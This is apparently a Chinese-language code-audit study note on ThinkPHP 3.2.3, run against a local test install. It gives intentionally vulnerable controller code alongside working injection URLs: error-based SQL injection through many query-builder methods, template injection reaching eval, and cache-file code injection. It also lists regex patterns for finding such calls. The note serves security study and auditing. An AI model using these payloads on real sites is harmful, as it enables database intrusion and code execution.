路径
Code-audit/thinkphp_3.2.3_full/ThinkPHP/Conf/convention.php
配置
/* 数据库设置 */ 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => 'thinkphp3', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口
或者在Common下配置
加入调试语句:
'SHOW_PAGE_TRACE' =>true,
控制器配置
Code-audit\thinkphp_3.2.3_full\Application\Home\Controller\IndexController.class.php
字符串方式查询
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $map['id'] = I('GET.id'); $data = M('users')->where($map)->find(); // $data = M('users')->find(I('GET.id')); var_dump($data); } }
字符串查询
$data = M('users')->where('id='.I('GET.id'))->find(); var_dump($data);
注入:
http://localhost//Code-audit/thinkphp_3.2.3_full/?id=1) and 1=(updatexml(1,concat(0x7e,user(),0x73),1)
调试一下,会进入一个条件判断
一直向下跟,进入到了字符串查询模式
最后返回一个完整的SQL
数组查询进入__parseType方法,val值会变成int
$User = M("users"); // 实例化User对象 $map['id'] = I('GET.id'); // 把查询条件传入查询方法 $data = $User->where($map)->select(); var_dump($data);
调试跟入,可以看到1p被强制转换为1
用来切换表名的,当表名可控时,就会产生注入
public function table_sql(){ $data = M()->table(I('tab'))->where('1=1')->find(); var_dump($data); }
先输入一个不存在的表名user(原本为users)
调试看看
这里已经进入到error了,就不会执行select了
输入存在的users表就会进入select
输入注入语句:
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/table_sql?tab=users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
如果框架使用了table方法,就会存在注入,可以搜索
操作表中字段、限制查询返回的结果,使用的次数比较多
只要field方法的参数可控,无论是数组还是字符串,都可以被注入
public function field_sql(){ $data = M('users')->field(array('id','username'=>I('name')))->select(); var_dump($data); }
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/field_sql?name=uname from users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
只要控制了字段名和别名都可以注入
alias方法用来操作别名,与field方法类似,一般与join成对出现
如果可控,都可注入,可以使用正则来寻找他们
->alias($a) ->alias($_GET) ->alias(I) ->join($ ->union($ ->(alias|join|union)\((\$|I)
数组和字符串都存在注入
例如orderby
public function ogh_sql(){ $data = M('users')->where('1=1')->order(array('id'=>I('orderby')))->select(); var_dump($data); }
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?orderby=,(select 1=updatexml(1,concat(0x7e,database(),0x7e),1))
public function ogh_sql(){ $data = M('users')->field('id,username')->group(I('uname'))->select(); var_dump($data); }
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
public function ogh_sql(){ $data = M('users') ->field('id,username') ->group(I('uname')) ->having(I('having')) ->select(); var_dump($data); }
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=username&having=(1=updatexml(1,concat(0x7e,user(),0x7e),1))
三者都是在最后进行拼接
例子:
public function comment_sql(){ $data = M('users')->comment(I('comment'))->where('1=1')->find(); var_dump($data); }
comment主要是用来注释的,例如
拼接注释符即可造成注入(在mysql5.5下执行成功)
*/ procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23
此方法用于数据集的强制索引操作,对查询强制使用userid索引,userid必须是数据表实际创建的索引名称
例子:
public function getUserIndex(){ $data = M('users')->force(I('f'))->select(); var_dump($data); }
) procedure analyse(extractvalue(rand(),concat(0x7e,user())),2)%23
全局搜索关键字force来查找漏洞,TP5
实例化一个空模型后使用query方法查询数据
$data = M()->query("select * from users"); dump($data);
可以新增、修改、删除数据
M()->execute("update users set username='root' where id=1");
count、max、min、avg、sum这5个方法注入场景类似 $data = M('users')->count(I('parameter')); dump($data);
可控,闭合括号
id) from users where 1=1 and updatexml(1,concat(0x7e,user()),1)%23
上面的查询条件仅仅是一个简单的相等判断,可以使用查询表达式支持更多的SQL查询语法,也是ThinkPHP查询语言的精髓,查询表达式的使用格式:
$map['字段名'] = array('表达式','查询条件');
EQ :等于(=)
例如:
$map['id'] = array('eq',100);
和下面的查询等效
注入例子:
public function getUser(){ $map['id'] = $_GET['id']; $data = M('users')->field('username')->where($map)->select(); dump($data); }
官方I('id'),则不会有注入,跟进的时候会进入where这里,有转义
如果使用原生态的$_GET['id']引入,会带入SQL查询,就有可能产生注入,我们可以传入exp数组
http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1
http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user()),1)
使用exp时,这里会进行拼接
public function getUser(){ $User = M('users'); $User->where('id=3')->setInc('score',I('num')); }
步长没有过滤,下面还有表达式
这里传入
http://localhost/index.php/Home/Index/getUser?num=2 and updatexml(1,concat(0x7e,user()),1)
一般审计时先查找I方法或$_GET、$_POST等原生态请求,然而Action参数传入也有可能存在注入
public function getUser($id){ $data = M('users')->field('username')->where('id ='.$id)->select(); var_dump($data); }
http://localhost/index.php/Home/Index/getUser/?id=2) and updatexml(1,concat(0x7e,user()),1)%23
使用正则来搜索存在的action参数
public\s+function\s+[\w_-]+\(\$
https://www.kancloud.cn/manual/thinkphp/1771
public function getUserIndex(){ $User = M("users"); // 实例化User对象 $map['id'] = array('eq',1); $map['name'] = 'ok'; $map['_string'] = 'score='.I('score'); $data = $User->where($map)->select(); var_dump($data); }
http://localhost/index.php/Home/Index/getUserIndex/?score=60) and updatexml(1,concat(0x7e,user()),1)%23
如果'TMPL_ENGINE_TYPE'设置为php,(默认为think)最后会调用eval,从而造成模板注入
public function getUserIndex(){ $name = $_GET['name']; $this->assign($name); $this->display('index'); }
http://localhost/index.php/Home/Index/getUserIndex?name[_content]=%3C?php%20phpinfo();?%3E
跟进来之后,会执行eval
IndexController.class.php public function index(){ $name = I('name'); $this->assign('name',$name); $this->display(); }
\Application\Home\View\Index\index.html <html> <title> aaa </title> <body> <h1>aaaa</h1> <php>eval(${name})</php> </body> </html>
http://localhost/index.php/Home/Index/index?name=phpinfo();
public function index(){ // 缓存漏洞 F('key123','<?php phpinfo();?>'); }
如果runtime可以访问,则
使用S
文件名为key
内容
可以传入换行符
public function index(){ // 缓存漏洞 S('key',I('input')); }
Code-audit\thinkphp_3.2.3_full\Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php
Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php
与controlller类似,在同级目录下创建widget
CateWidget.class.php
<?php namespace Home\Widget; use \Think\Controller; class CateWidget extends Controller { public function index(){ phpinfo(); } }
index.html
<html> <title> aaa </title> <body> {:W('Cate/index')} </body> </html> IndexController.class.php public function index(){ $this->display(); }
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/index.html
https://paper.seebug.org/1377/
https://y4er.com/post/thinkphp3-vuln/
https://www.kancloud.cn/manual/thinkphp/1679
https://www.yuque.com/jxswcy/ctfnotebook/zrlczl
https://www.bilibili.com/video/BV1B54y1k74C?from=search&seid=7073475207116317757